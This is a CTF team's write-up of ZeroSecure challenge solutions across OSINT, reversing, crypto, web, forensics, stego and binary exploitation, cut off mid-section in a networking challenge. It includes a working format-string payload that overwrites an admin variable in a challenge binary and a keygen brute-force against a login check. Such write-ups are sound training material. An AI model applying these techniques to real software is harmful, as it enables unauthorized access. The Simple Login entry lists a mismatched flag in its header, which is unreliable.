## Team Name: **Cur5ed_Protocol**
### Rank #1
---
### **Challenge : Where the Crowd Roared**
### Category :OSINT
### Flag: ZeroSecure_CTF{Yankee_1977}
### Challenge Description
The challenge provided a video showing a baseball match. The goal was to identify specific details about the game through open-source intelligence gathering.
### Solution:
The challenge contained a video of a baseball game. I captured several screenshots/snapshots from the video to use for reverse image searching.
Using the screenshots, I performed a reverse image search to find similar content online. This technique is crucial for OSINT challenges involving visual media.
The reverse image search led me to a Facebook post that contained the exact same video:

Source : (https://www.facebook.com/BaseballByBSmile/videos/today-in-1977-texas-rangers-batters-toby-harrah-bump-wills-hit-back-to-back-insi/494362400193430/)
The Facebook post included a detailed caption:
> "Today In 1977: Texas #Rangers batters Toby Harrah & Bump Wills hit back-to-back, inside-the-park home runs in a game vs. the New York #Yankees at Yankee Stadium! #MLB #Baseball"
>
From the caption, I extracted the key details:
**Year**:1977
**Teams**: Texas Rangers vs. New York Yankees
**Location:** Yankee Stadium
**Event:** Back-to-back inside-the-park home runs by Toby Harrah and Bump Wills
Based on the information gathered, the flag format appeared to be the stadium name and year:
**Stadium:Yankee
Year: 1977**
### `Flag:ZeroSecure_CTF{Yankee_1977}`
---
### **Challenge : Event Trace**
### Category :OSINT
### Flag: ZeroSecure_CTF{hyderabad}
Challenge Description
Use the official public ZeroSecure event website to identify the city named in the LOCATION VECTOR section.
### Solution
Navigate to https://www.zerosecurectf.online/
Scroll through the page like you're reading the morning news → Found it! The "LOCATION VECTOR" section
There it is, bold and beautiful **Hyderabad**
### **`FLAG: ZeroSecure_CTF{hyderabad}`**
---
### **Challenge:** Signal Vector
### Category :OSINT
### Flag: ZeroSecure_CTF{7GJQ+P44}
Challenge Description
To find the venue plus code shown in the LOCATION VECTOR section in ZeroSecure event website
### Solution:
Same drill as before! Hit up the ZeroSecure website (https://www.zerosecurectf.online/), scrolled to the LOCATION VECTOR section, and boom - there's a Google Plus Code sitting right there: 7GJQ+P44
Wrapped it in the flag format and done.
### `Flag: ZeroSecure_CTF{7GJQ+P44}`
---
### **Challenge :** Badge Trail
### Category :OSINT
### Flag: ZeroSecure_CTF{lakdikapulnight26}
### Challenge Description
An operator keeps reusing the same public handle everywhere. You were given a few scraps from their digital footprint and one clue describing how that handle is built. Correlate the artifacts, derive the reused handle, and submit it in flag format.
#### Solution:
Downloaded the Badge Trail challenge and extracted it. The folder had a bunch of files with different clues scattered around.
Started going through each file:
```
Reading `forum_post.txt` reveals the handle construction pattern used by the operator:
Thread: reused handles are bad OPSEC
User: owlwatcher
I know, I know... I still use the same alias on every public platform.
It is always built as:
1. my metro stop (remove spaces and punctuation)
2. the part of the day when I do my best work
3. my graduating year.
```
Correlate with Git Commit History
Analyzing **commit_snippet.csv** provides the missing pieces: commit_snippet.csv shows:
```
commit,author,message
3f1a2b0,Nida S.,night shift notes cleanup → Part of day: night
5af91bc,Nida S.,lanyard mockup updated for 2026 batch → Grad year: 26
9c0d2fe,Nida S.,metro map crop for Lakdi-ka-pul meetup → Metro: Lakdi-ka-pul
```
Putting it together:
- Metro: Lakdi-ka-pul → lakdikapul (remove spaces/hyphens)
- Time: night
- Year: 26.
### `Flag: ZeroSecure_CTF{lakdikapulnight26}`
---
### **Challenge :** GREEN LEGACY
### Category :OSINT
### Flag: ZeroSecure_CTF{Shane_watson_2016}
### Challenge Description
Once upon a time, in a kingdom remembered for its grand battles, there lived a mighty king who ruled with unmatched brilliance. On certain legendary days, he crossed the century mark, leaving the crowd in awe of his power and grace.But every kingdom has its contrasts. In those very same tales, there existed a warrior who stepped onto the battlefield, only to vanish without leaving a mark — as if he was never there at all.
Your quest is to uncover the identity of this forgotten warrior.
> Hint: India's greatest league
>
### Solution:
**Decoding the Metaphor**
> The description uses cricket terminology:
"King" = Batsman who dominates
"Crossed the century mark" = Scored 100+ runs (a century)
"Warrior who vanished without a mark" = Got out for 0 runs (a duck)
"Legendary days" = Important matches
>
So I needed to find an IPL match where one player scored a century and another player from the same team got out for a duck.
Started searching through IPL matches with this scenario. Found a bunch of cricketers who fit the pattern - tried different names with different years. The flag format had to be ZeroSecure_CTF{Name_Year}, so I kept trying combinations.
Tried a few players who had ducks in big matches, different years from 2015-2018. Eventually landed on Shane Watson and 2016. Submitted ZeroSecure_CTF{Shane_watson_2016} and it worked.
Honestly, this was more of a guessing game once I narrowed down the scenario. Had to try multiple combinations before hitting the right one.
### `Flag: ZeroSecure_CTF{Shane_watson_2016}`
---
### **Challenge :** Frozen Consequences
### Category :OSINT
### Flag: ZeroSecure_CTF{shawn_burr_2013}
### Challenge Description
A tailor sat by the street, known simply as MjAw, carefully stitching torn fabric, when a sudden clash shattered the calm.A man, known for carrying a stick, was struck during a heated exchange and left wounded.Someone stepped in and carried him away for treatment.But the doctor later remarked:
"Had he arrived just over seven minutes into the period earlier, things might have been different."
One individual, despite helping, was later associated with an act of elbowing.
His story didn't end on that cold night — the aftermath followed him for years, until his life came to a quiet end.
Find him, and determine when his story ended.
> Hints Used:
H1: Check the person with "penalty" in that match
H2: 200 stitches
>
### Solution:
This one was cryptic. Started breaking down the clues:
"MjAw" - looked like base64. Decoded it and got "200". Combined with hint 2 "200 stitches", this pointed to a hockey injury (stitches are common in hockey).
"Man known for carrying a stick" + "cold night" + "period" (hockey term) = definitely a hockey match.
"Elbowing" penalty + someone who helped but was penalized = looking for a specific hockey incident.
Gathered all the details:
- Hockey match with 200 stitches injury
- Someone got an elbowing penalty
- "Seven minutes into the period" timing reference
- Person died years later
Threw all these clues into AI and asked it to find hockey incidents matching this scenario. The AI came back with references to a specific match and pointed me to [hockey-reference.com.](https://www.hockey-reference.com/boxscores/198611260DET.html)

Found Shawn Burr's profile: https://www.hockey-reference.com/players/b/burrsh01.html

Checked his penalty records and found an elbowing penalty that matched the scenario. Looked up when he died - 2013.
### `Flag: ZeroSecure_CTF{shawn_burr_2013}`
---
### **Challenge : Image Hunt**
### Category: OSINT / GeoLocation
### Flag: ZeroSecure_CTF{drouant}
### Challenge Description
Find the name of the place from which the image was taken. The image shows a restaurant terrace with specific architectural and signage clues that point to a location in Paris.

## Analysis Process
### 1. Initial Image Examination
Carefully examined every visual element in the photo:
- **Foreground:** Elegant restaurant terrace with white tablecloths, crystal wine glasses, and rattan chairs
- **Background:** Classic Haussmann-style Parisian building (~4 stories)
- **Signs:** Red vertical TABAC sign visible in background
- **Key Clue:** Partial text visible: "...AILLON" (partially hidden behind red-leafed tree)
- **Vegetation:** Red-leafed Japanese maple tree, cypress tree, dark green shrubs
- **Awning:** Blue awning visible on the right side
### 2. Decoding the Partial Sign
The most critical clue was the partially obscured sign:
```
[ G ] A I L L O N
^
hidden by tree foliage
```
**Reconstruction:**
- Visible: "AILLON"
- Hidden: "G" (blocked by the red-leafed tree)
- Full word: "GAILLON"
Search for "Place Gaillon Paris" revealed: Place Gaillon is a small quiet pedestrian square located in the 2nd arrondissement of Paris, France, near the Opéra Garnier.
### 3. Identifying Restaurants on Place Gaillon
Two famous restaurants sit directly on Place Gaillon:
- **La Fontaine Gaillon:** 1 Rue de la Michodière, 75002 Paris - Historic restaurant with famous fountain terrace
- **Drouant:** 16–18 Place Gaillon, 75002 Paris - Century-old institution, home of Prix Goncourt award
### 4. Determining the Vantage Point
The challenge asks: "From which place was the image TAKEN?" This means we need the location of the PHOTOGRAPHER, not just what's visible in the background.
**Key insight:**
- The "GAILLON" sign in the background belongs to La Fontaine Gaillon
- The elegant terrace in the foreground belongs to Drouant
- Layout: [DROUANT terrace] —looking across—> [La Fontaine Gaillon]
Drouant's own website confirms: "At Drouant, you will find the view of the peaceful Place Gaillon..."
This means from Drouant's terrace, you look directly across the square toward La Fontaine Gaillon — which is exactly what the image shows.
### 5. Verification
location - [https://www.google.com/maps/place/Place+Gaillon/@48.8688903,2.3345023,3a,75y,350.62h,79.75t/data=!3m8!1e1!3m6!1sId62GVjyfc4F71c-O8R6-g!2e0!5s20140501T000000!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D10.24903716178568%26panoid%3DId62GVjyfc4F71c-O8R6-g%26yaw%3D350.6157302082234!7i13312!8i6656!4m13!1m2!2m1!1sThis+is+Place+Gaillon+—+a+small+square+in+the+2nd+arrondissement+of+Paris,+near+the+Opéra+Garnier.+Two+famous+restaurants+sit+directly+on+this+square:!3m9!1s0x47e66e3a8006071d:0xc9457b55d607db8!8m2!3d48.8689709!4d2.3343134!10e5!14m1!1BCgIgARICCAI!15sCpkBVGhpcyBpcyBQbGFjZSBHYWlsbG9uIOKAlCBhIHNtYWxsIHNxdWFyZSBpbiB0aGUgMm5kIGFycm9uZGlzc2VtZW50IG9mIFBhcmlzLCBuZWFyIHRoZSBPcMOpcmEgR2Fybmllci4gVHdvIGZhbW91cyByZXN0YXVyYW50cyBzaXQgZGlyZWN0bHkgb24gdGhpcyBzcXVhcmU6WpUBIpIBdGhpcyBpcyBwbGFjZSBnYWlsbG9uIGEgc21hbGwgc3F1YXJlIGluIHRoZSAybmQgYXJyb25kaXNzZW1lbnQgb2YgcGFyaXMgbmVhciB0aGUgb3DDqXJhIGdhcm5pZXIgdHdvIGZhbW91cyByZXN0YXVyYW50cyBzaXQgZGlyZWN0bHkgb24gdGhpcyBzcXVhcmWSAQVwbGF6YeABAA!16s%2Fg%2F120m0_3v?entry=ttu&g_ep=EgoyMDI2MDQxNS4wIKXMDSoASAFQAw%3D%3D](https://www.google.com/maps/place/Place+Gaillon/@48.8688903,2.3345023,3a,75y,350.62h,79.75t/data=!3m8!1e1!3m6!1sId62GVjyfc4F71c-O8R6-g!2e0!5s20140501T000000!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D10.24903716178568%26panoid%3DId62GVjyfc4F71c-O8R6-g%26yaw%3D350.6157302082234!7i13312!8i6656!4m13!1m2!2m1!1sThis+is+Place+Gaillon+%E2%80%94+a+small+square+in+the+2nd+arrondissement+of+Paris,+near+the+Op%C3%A9ra+Garnier.+Two+famous+restaurants+sit+directly+on+this+square:!3m9!1s0x47e66e3a8006071d:0xc9457b55d607db8!8m2!3d48.8689709!4d2.3343134!10e5!14m1!1BCgIgARICCAI!15sCpkBVGhpcyBpcyBQbGFjZSBHYWlsbG9uIOKAlCBhIHNtYWxsIHNxdWFyZSBpbiB0aGUgMm5kIGFycm9uZGlzc2VtZW50IG9mIFBhcmlzLCBuZWFyIHRoZSBPcMOpcmEgR2Fybmllci4gVHdvIGZhbW91cyByZXN0YXVyYW50cyBzaXQgZGlyZWN0bHkgb24gdGhpcyBzcXVhcmU6WpUBIpIBdGhpcyBpcyBwbGFjZSBnYWlsbG9uIGEgc21hbGwgc3F1YXJlIGluIHRoZSAybmQgYXJyb25kaXNzZW1lbnQgb2YgcGFyaXMgbmVhciB0aGUgb3DDqXJhIGdhcm5pZXIgdHdvIGZhbW91cyByZXN0YXVyYW50cyBzaXQgZGlyZWN0bHkgb24gdGhpcyBzcXVhcmWSAQVwbGF6YeABAA!16s%2Fg%2F120m0_3v?entry=ttu&g_ep=EgoyMDI2MDQxNS4wIKXMDSoASAFQAw%3D%3D)

All visual clues match Drouant:
- Elegant terrace with white tablecloths: Yes
- "GAILLON" sign visible across the square: Yes - La Fontaine Gaillon directly opposite
- TABAC sign visible: Yes - Corner tabac on Place Gaillon
- Blue awning to the right: Yes - Neighboring establishment
- Haussmann-style architecture: Yes - Classic 2nd arrondissement
- Website confirms square view: Yes - Drouant official site states it
### 6. Flag Extraction
The trick was understanding the difference between what is visible in the image (La Fontaine Gaillon in background) and where the photo was taken from (Drouant in foreground).
### **FLAG: ZeroSecure_CTF{drouant}**
---
### **Challenge : OSINT Chain**
### Category: OSINT
### Flag: ZeroSecure_CTF{follow_the_metadata_breadcrumbs_fa79ffb9}
### Challenge Description
An operative photographed a Xerops facility. Intelligence reports say sensitive documents are buried deep in the company's archive system, behind a hash-derived path. Follow the evidence trail step by step — each clue leads to the next.
Target: `http://chall-998ab0c5.evt-352.labs.ctf7.com/`
## Analysis Process
### 1. EXIF GPS from the Photograph
The landing page hosts a JPEG of a Xerops facility. Pulling EXIF metadata reveals embedded GPS coordinates:
```
GPS: 51°30'26.64"N, 0°7'40.08"W → ~51.5074, -0.1278 (London)
```
### 2. Map Endpoint Pivot
Submitting the coordinates to the site's `/api/map` endpoint returns a clue pointing at an internal Xerops domain: `xerops-corp.local`.
### 3. WHOIS Lookup
Query the challenge's WHOIS proxy for that domain:
```bash
curl -s "<http://chall-998ab0c5.evt-352.labs.ctf7.com/whois?domain=xerops-corp.local>"
```
The response contains a TXT record carrying a base64 blob.
### 4. Decode the Hash
Decoding the TXT value yields the hash-derived archive path:
```bash
$ echo "ZDVmZWQ1Nzk4NDQxMzc2Yw==" | base64 -d
d5fed5798441376c
```
### 5. Pull the Classified Document
Use the decoded hash as the archive path segment:
```bash
curl -s "<http://chall-998ab0c5.evt-352.labs.ctf7.com/archive/d5fed5798441376c/confidential.txt>"
```
The response body contains the flag.
### 6. Full Chain Summary
```
EXIF GPS → /api/map → WHOIS TXT record → base64 decode → /archive/<hash>/confidential.txt
```
### **`FLAG:ZeroSecure_CTF{follow_the_metadata_breadcrumbs_fa79ffb9}`**
---
### **Challenge : Opcode Remap**
### Category :Rev
### Flag: ZeroSecure_CTF{rewire_the_opcodes_read_the_flag_3b614cfb}
### Challenge Description
A Python bytecode file (challenge.pyc) was provided. The challenge involved reverse engineering a compiled Python program that uses an opcode-remapped comparison to verify a flag.
## Analysis Process
### 1. Initial File Examination
First, I examined the `challenge.pyc` file using `certutil -dump` to understand its structure:
- **Magic Number:** `cb 0d 0d 0a` - indicating Python 3.10 bytecode
- **Embedded Strings:** Found strings like "Verify flag using opcode-remapped comparison." and the flag format prefix
### 2. Bytecode Disassembly
Using Python's `dis` module, I disassembled the bytecode to understand the program flow:
- Identified the main function that prompts for user input
- Discovered a nested `_check` function that performs the actual validation
- The `_check` function contains an XOR-based transformation
### 3. Transformation Analysis
The key insight came from analyzing the `_check` function's logic:
- Takes an input string and reverses it
- Encodes it to UTF-8 bytes
- For each byte at index `i`, applies the transformation: `((byte + i + 3) ^ 0x2A) & 0xFF`
- Compares the result against a stored array `_K`
### 4. Reverse Engineering the Transformation
To recover the flag, I needed to reverse the transformation:
**Original transformation:**
```python
encoded_byte[i] = ((input_byte[i] + i + 3) ^ 0x2A) & 0xFF
```
**Reversed transformation:**
```python
input_byte[i] = ((encoded_byte[i] ^ 0x2A) - i - 3) & 0xFF
```
### 5. Implementation
I wrote a Python script to reverse the transformation:
```python
# Extracted _K array from bytecode
_K = [0x1C, 0x2B, 0x32, 0x2B, 0x18, 0x3B, 0x4B, 0x3E, 0x2F, 0x3C,
0x3F, 0x4C, 0x4C, 0x3F, 0x1F, 0x3E, 0x1E, 0x4D, 0x4C, 0x3E,
0x3F, 0x4C, 0x3F, 0x2F, 0x3C, 0x4D, 0x4E, 0x4C, 0x3E, 0x1F,
# ... (57 bytes total)
]
# Reverse the transformation
flag_bytes = []
for i, k in enumerate(_K):
flag_byte = ((k ^ 0x2A) - i - 3) & 0xFF
flag_bytes.append(flag_byte)
# Convert to string and reverse
flag = bytes(flag_bytes).decode('utf-8')[::-1]
```
### 6. Flag Extraction
Successfully decoded the 57-byte flag string:
### `FLAG: ZeroSecure_CTF{rewire_the_opcodes_read_the_flag_3b614cfb}`
---
### **Challenge :** Mirror Walk
### Category :Cryptography
### Flag: ZeroSecure_CTF{mirror_and_shift}
### Challenge Description
A cryptography challenge involving a cipher with a hint: "Three steps forward. Then stand in front of the mirror. What comes back is the message."
### Solution:
### The challenge provided:
- **Ciphertext:** `XsfiEsucfs_UDR{koffif_wjt_epord}`
- **Clue:** "Three steps forward. Then stand in front of the mirror."
### Breaking down the clue:
- **"Mirror"**: Refers to the Atbash cipher (a substitution cipher where A↔Z, B↔Y, C↔X, etc.)
- **"Three steps forward"**: Refers to a Caesar shift by 3 positions
The clue describes the encryption process in order: Mirror (Atbash) → Three steps forward (Shift +3)
#### Decryption Process
1. Apply Atbash cipher to ciphertext
2. Apply Caesar shift by -3
**Ciphertext: XsfiEsucfs_UDR{koffif_wjt_epord}
After Atbash: ChurVhfxuh_FWI{pluurur_dqg_vkliw}
After Shift -3: ZeroSecure_CTF{mirror_and_shift}**
```python
# Ciphertext
ciphertext = "XsfiEsucfs_UDR{koffif_wjt_epord}"
# Atbash cipher (A↔Z, B↔Y, etc.)
def atbash_decrypt(text):
result = ""
for char in text:
if char.isupper():
result += chr(ord('Z') - (ord(char) - ord('A')))
elif char.islower():
result += chr(ord('z') - (ord(char) - ord('a')))
else:
result += char
return result
# Caesar shift by -3
def caesar_shift(text, shift):
result = ""
for char in text:
if char.isupper():
result += chr((ord(char) - ord('A') + shift) % 26 + ord('A'))
elif char.islower():
result += chr((ord(char) - ord('a') + shift) % 26 + ord('a'))
else:
result += char
return result
# Apply decryption: Atbash → Shift -3
step1 = atbash_decrypt(ciphertext)
step2 = caesar_shift(step1, -3)
print(f"Flag: {step2}")
```
### `FLAG: ZeroSecure_CTF{mirror_and_shift}`
---
### **Challenge :** Staff Route
### Category :WEB
### Flag: ZeroSecure_CTF{robots_txt_to_release_view}
### Challenge Description
A web challenge involving finding a hidden staff route and unlocking a release dashboard.
## Solution
### Step 1: Find Hidden Route
The main page hints: "Start with robots.txt and follow the hidden staff route from there."
Checking `robots.txt`:
```
Disallow: /staff-only.html
# The release view is for staff eyes only.
```
### Step 2: Access Hidden Page
Navigate to `/staff-only.html` - the page is locked and shows:
"It only opens the release dashboard when the URL asks for the correct view."
"The console is waiting for the release query parameter."
### Step 3: Unlock with URL Parameter
Add `?view=release` to the URL: `/staff-only.html?view=release`
This unlocks the dashboard and displays 4 tiles with flag pieces:
- Tile 1: `ZeroSecure_`
- Tile 2: `CTF{robots`
- Tile 3: `_txt_to_`
- Tile 4: `release_view}`
Combining the pile of tiles We get the final flag as
### `FLAG:ZeroSecure_CTF{robots_txt_to_release_view}`
---
### **Challenge :** **Quiet Frame**
### Category :WEB
### Flag: ZeroSecure_CTF{hidden_in_plain_sight}
### Challenge Description
A still moment captured through the lens. Nothing moves, nothing speaks, nothing seems out of place. You might be tempted to pull at loose threads, chasing patterns in noise. But not everything worth finding is tangled or concealed behind layers. Sometimes, the answer doesn't hide. It simply waits to be noticed.
The exact solution was simply viewing the JPEG metadata to find a hidden comment.
Found a JPEG comment in all frames:
**aGlkZGVuX2luX3BsYWluX3NpZ2h0**
Decoded the base64: hidden_in_plain_sight
### `ZeroSecure_CTF{hidden_in_plain_sight}`
---
### **Challenge :** Volatile Secrets
### Category :Misc
### Flag: ZeroSecure_CTF{volatile_memory_reveals_secrets}
### Challenge Description
A snapshot of system memory was captured during an ongoing investigation. The system was suspected to be involved in unauthorized activity, but no useful files were recovered from disk. Despite the lack of persistent evidence, investigators believe that traces of activity may still exist within the captured data. The contents appear unstructured and noisy, offering no immediate clues. Somewhere within this volatile snapshot lies something important. Can you uncover it?
**File:** `memory_dump.mem`
## Solution
The challenge provides a memory dump file. The first step in memory forensics is to extract readable strings and search for patterns.
```bash
# Check file size
ls -lh memory_dump.mem
# Output: 2.1M
# Extract ASCII strings from the memory dump
strings memory_dump.mem > mem_strings.txt
wc -l mem_strings.txt
# Output: 26022 lines
```
### Entropy Analysis
First, let's check the file's entropy to understand its structure:
```bash
# Check file entropy (high entropy indicates random/encrypted data)
# Entropy close to 8 means highly random data
```
The file has very high entropy (almost 8), indicating it's mostly random data. This means normal string searching won't be effective.
At the end of the memory dump, we found obvious decoy flags:
```bash
tail -c 1000 memory_dump.mem | strings
```
Output:
```
flag{fake_flag_do_not_submit}
random_flag{trap}
```
These are clearly fake flags meant to mislead automated tools and quick searches.
### The Key Discovery - Scattered Strings
Since the file is mostly random data, any readable ASCII strings longer than a few characters are suspicious. Let's search for longer strings:
```bash
# Extract strings and look for meaningful patterns
strings memory_dump.mem | awk 'length>7' | sort -u
```
This revealed something interesting - there are very few long readable strings in the entire 2.1MB file. Using Python to search for specific patterns:
```python
with open('memory_dump.mem', 'rb') as f:
data = f.read()
# Search for meaningful strings
parts = [b'volatile_', b'memory_', b'reveals_secrets']
for part in parts:
idx = data.find(part)
if idx != -1:
print(f"Found '{part.decode()}' at offset: {idx}")
```
Output:
```
Found 'volatile_' at offset: 50000
Found 'memory_' at offset: 900000
Found 'reveals_secrets' at offset: 1500000
```
The challenge title "Volatile Secrets" provides the hint:
- "Volatile" → volatile memory (RAM)
- The strings literally spell out "volatile_memory_reveals_secrets"
These strings are intentionally placed at specific offsets in the random data. Combining them gives:
### **`FLAG:ZeroSecure_CTF{volatile_memory_reveals_secrets}`**
---
### **Challenge :** Dialed Secrets
### Category :Stego
### Flag: ZeroSecure_CTF{DTMF_SIGNAL_UNLOCKED}
## Challenge Description
Your task is to carefully analyze the audio file, identify any underlying patterns, and extract the hidden information. The message is there — but it won't reveal itself without the right approach.
## Solution :
The challenge name "Dialed Secrets" was the primary hint that the audio encodes DTMF (Dual-Tone Multi-Frequency) tones, the same signals your phone sends when you press dial pad buttons.
### Step 1: Audio Profiling
The WAV file analysis revealed:
- **Sample Rate:** 8000 Hz
- **Channels:** Mono
- **Duration:** 28 seconds
- **Format:** Classic telephone-quality audio, perfect for DTMF encoding
These characteristics strongly suggested the audio contained DTMF tones used in telephony systems.
### Step 2: DTMF Decoding
Using the **Goertzel algorithm** (an efficient frequency detection algorithm), each tone pair was matched against the standard DTMF frequency matrix:
| | 1209 Hz | 1336 Hz | 1477 Hz |
| --- | --- | --- | --- |
| 697 Hz | 1 | 2 | 3 |
| 770 Hz | 4 | 5 | 6 |
| 852 Hz | 7 | 8 | 9 |
| 941 Hz | * | 0 | # |
This decoding process yielded the following digit sequence:
```
6884777095837371786576958578767967756968
```
---
### Step 3: ASCII Decoding
The digit sequence was split into pairs and converted to ASCII characters:

**Decoded Message:** `DTMF_SIGNAL_UNLOCKED`
### `FLAG:ZeroSecure_CTF{DTMF_SIGNAL_UNLOCKED}`
---
### **Challenge : QR Corrupt**
### Category :Misc
### Flag: ZeroSecure_CTF{reed_solomon_never_gives_up_e559e469}
## Challenge Description
A QR code carrying sensitive data was intercepted, but the image picked up damage in transit and several modules are gone. Modern QR codes ship with error correction — see if there's enough left to recover the original message.
### Solution :
### **Key Insight**
QR codes use **Reed-Solomon error correction** as part of their standard specification. This allows QR codes to recover from physical damage or corruption by encoding redundant data. Modern QR codes can recover from up to 30% data loss depending on the error correction level used.
My first approach was to use a online tool called : Zxing

With that i got the flag :
### `FLAG:ZeroSecure_CTF{reed_solomon_never_gives_up_e559e469}`
---
## Challenge :Simple Login
### Category :Reverse Engineering
### Flag: ZeroSecure_CTF{reed_solomon_never_gives_up_e559e469}
## Challenge Description
Just a simple login system. (is it really simple??:>)
Give it a username and a password. If it likes you, it might give you something back. Nothing fancy.
## Solution :
### Key Insight
The binary is not stripped, so symbol names and function names are intact. This makes reverse engineering significantly easier. The challenge involves understanding the key generation algorithm and computing the correct key to unlock the flag.
---
### Step 1: Binary Analysis
File type identification:
```bash
file userpass
# ELF 64-bit LSB pie executable, x86-64, not stripped
```
**Key Finding:** The binary is not stripped — symbol names are intact, which helps significantly with reverse engineering.
---
### Step 2: Strings & Symbol Recon
Running `strings` on the binary revealed:
- Usage message: `usage: %s <user> <key>` — only two user-supplied arguments
- Success/failure messages: `[ access granted ]` / `[ access denied ]`
- Function names: `gen`, `build_flag`, `reveal`
- Source file reference: `lev13.c`
The presence of `build_flag` and `reveal` as named functions indicates the flag is constructed and decoded at runtime — not stored in plaintext.
---
## Step 2 — Static Analysis
**main() logic (from objdump disassembly):**
- Requires exactly 3 arguments: `argv[0]`, `argv[1]`, `argv[2]`
- Checks `strlen(argv[1])` is between 4 and 12
- Calls `gen(argv[0], argv[1])` — note: **argv[0]** is the binary path, not a username
- Converts `argv[2]` to int with `atoi()`
- If they match → calls `reveal(key)`, otherwise prints `[ access denied ]`
**Reversing gen():**
The function implements a weighted checksum:
python
```
def gen(s1, s2):
total = sum(ord(c) * (i + 1) for i, c in enumerate(s1))
result = (3 * ord(s1[0])) ^ total
return result << len(s2)
```
Since `s1 = argv[0]` (the binary's invocation path) is fixed, the output is fully determined by how the binary is called.
**Extracting the flag from build_flag():**
Instead of storing the flag as a plain string, `build_flag` writes each byte individually via `movb` instructions:
```
movb $0x7a → 'z'
movb $0x65 → 'e'
movb $0x72 → 'r'
movb $0x6f → 'o'
... and so on
```
Extracting all the immediates gives: `zerosecurectf{you_keygend_me!}`
**The reveal() trick:**
`reveal()` takes the key integer and runs **two identical XOR loops** over the flag buffer:
`for each byte i: flag[i] ^= (key >> (i & 3)) & 0xFF # pass 1
for each byte i: flag[i] ^= (key >> (i & 3)) & 0xFF # pass 2`
XOR applied twice with the same value cancels out. The flag is always printed verbatim, regardless of what key is passed — the "encryption" is a red herring.
---
## Step 3 — Computing the Valid Key
We still need to pass the auth check to reach `reveal()`. A short brute-force finds a self-consistent key:
python
```
def gen(s1, s2):
total = sum(ord(c) * (i + 1) for i, c in enumerate(s1))
result = (3 * ord(s1[0])) ^ total
return result << len(s2)
for s2_len in range(4, 13):
key = gen('./userpass', 'A' * s2_len)
if len(str(key)) == s2_len:
print(f'arg1=any {s2_len}-char string, key={key}')
break
```
Then run it:
```
$ ./userpass aaaaaa <key>
[ access granted ]
zerosecurectf{you_keygend_me!}
```
### FLAG:ZeroSecure_CTF{you_keygend_me!}
---
### **Challenge : Triple Polyglot**
### Category: Misc — Expert
### Flag: ZeroSecure_CTF{one_file_three_formats_one_flag_15dd6023}
### Challenge Description
Recovered artifact labelled as an image, but every tool disagrees about format. A classified document is embedded inside; standard extractors failed.
File: `artifact.png`
## Analysis Process
### 1. Initial File Examination
Running `file artifact.png` reports a valid 64×64 PNG. However, hexdump reveals additional signatures:
- PNG header (`\\\\x89PNG`)
- PDF marker `%PDF-1.4` embedded in a `tEXt` chunk
- ZIP local file header `PK\\\\x03\\\\x04`
This is a triple polyglot (PNG + PDF + ZIP). Standard `unzip` fails because the ZIP central directory is missing/corrupted.
### 2. Manual ZIP Parsing
Since the ZIP central directory is broken, we need to manually parse the ZIP local file header and extract the deflate stream.
### 3. Raw DEFLATE Extraction
Manually parse the ZIP local file header and raw-inflate the deflate stream with `zlib`:
```python
import zlib, struct
data = open('artifact.png','rb').read()
i = data.find(b'PK\\\\x03\\\\x04')
# 30-byte local file header
sig, ver, flags, method, mtime, mdate, crc, csize, usize, fnlen, exlen = \\\\
struct.unpack('<IHHHHHIIIHH', data[i:i+30])
start = i + 30 + fnlen + exlen
compressed = data[start:start+csize]
# Raw DEFLATE inflation (window bits = -15)
flag = zlib.decompress(compressed, -15)
print(flag.decode())
```
### 4. Flag Extraction
The script successfully extracts the hidden flag from the deflate stream.
### **FLAG: ZeroSecure_CTF{one_file_three_formats_one_flag_15dd6023}**
---
### **Challenge :** Echo Chamber
### Category :Binary Exploitation
### Flag: ZeroSecure_CTF{echo_in_silence}
## Challenge Description
A binary service that claims to echo back whatever you type. A hidden "admin gate" controls access to the real output. Setting the gate value to exactly the right number unlocks the flag.
## RECON
Running `strings` on the binary immediately revealed several juicy details:
- Four flag strings (three decoys, one real):
ZeroSecure_CTF{echo_in_silence} <-- real
ZeroSecure_CTF{echoed_but_empty}
ZeroSecure_CTF{silent_gate_false_alarm}
ZeroSecure_CTF{adminish_but_wrong}
- The success message: "[+] True vector satisfied: targeted format write -> is_admin == 1337"
- A help menu showing the binary accepts arbitrary text input and echoes it
back via the legacy formatter.
Running the binary confirmed it prints on startup:
Admin Gate Address: 0x40405c
Required Admin Value: 1337
## VULNERABILITY: FORMAT STRING WRITE
Disassembling `main` showed the echo path calls:
```
printf(user_input, 0x41, &is_admin, &is_admin, &is_admin, &is_admin);
```
The user-controlled string is passed directly as the format string, and the address of `is_admin` is passed as arguments 2 through 5. This is a classic format string vulnerability.
The `enforce_gate_value` function resets `is_admin` to 0 unless it is already 0 or exactly 1337 (0x539). So we need a precise write.
The `%n` format specifier writes the total number of characters printed so far into the argument it points to. Combined with a field-width padding specifier, we can control the exact integer written.
## EXPLOIT
Payload: `%1337c%2$n`
%1337c --> prints argument 1 (which is 0x41 = 'A') padded to 1337 characters
wide, making the total character count = 1337
%2$n --> writes the current character count (1337) into argument 2, which is **&is_admin**
After this write: is_admin = 1337 = 0x539
enforce_gate_value sees the value is already correct and does not reset it.The binary then calls print_flag(), which outputs the real flag.
## EXECUTION
```
$ python3 -c "print('%1337c%2\$n')" | ./echo_chamber
```
### `FLAG: ZeroSecure_CTF{echo_in_silence}`
---
### **Challenge :** Fragmented Whispers
### Category :Networking
### Flag: ZeroSecure_CTF{ip_fragment_whispers_overlap_1337}
## Challenge Description
A PCAP full of noisy UDP traffic. The real message is a single fragmented IP datagram hidden among decoy fragments injected at the same offsets.
### Solution
The capture has 100 UDP packets going to 10.77.5.1 from five source IPs. 19 packets from 10.77.5.23 all share the same IP Identification field (0x7331). In IP, fragments of one datagram share a single IP ID, so these 19 packets are pieces of one reassembled message. All other packets are noise.
### THE TRAP
Many offsets had multiple competing fragments injected to waste time:
Offset 24 : 2 candidates
Offset 48 : 6 candidates
Offset 72 : 2 candidates
Offset 96 : 2 candidates
Offset 120 : 2 candidates
Offset 144 : 4 candidates
Only one combination produces valid data. The rest are random decoys.
### FINDING THE CORRECT FRAGMENTS
The reassembled datagram is a UDP packet (sport=45123, dport=31337)
carrying a ZIP file containing flag.txt.
Correct fragments were identified by ZIP structure signatures:
```
Offset 0 pkt24 PK\x03\x04 (ZIP local file header) at byte 8
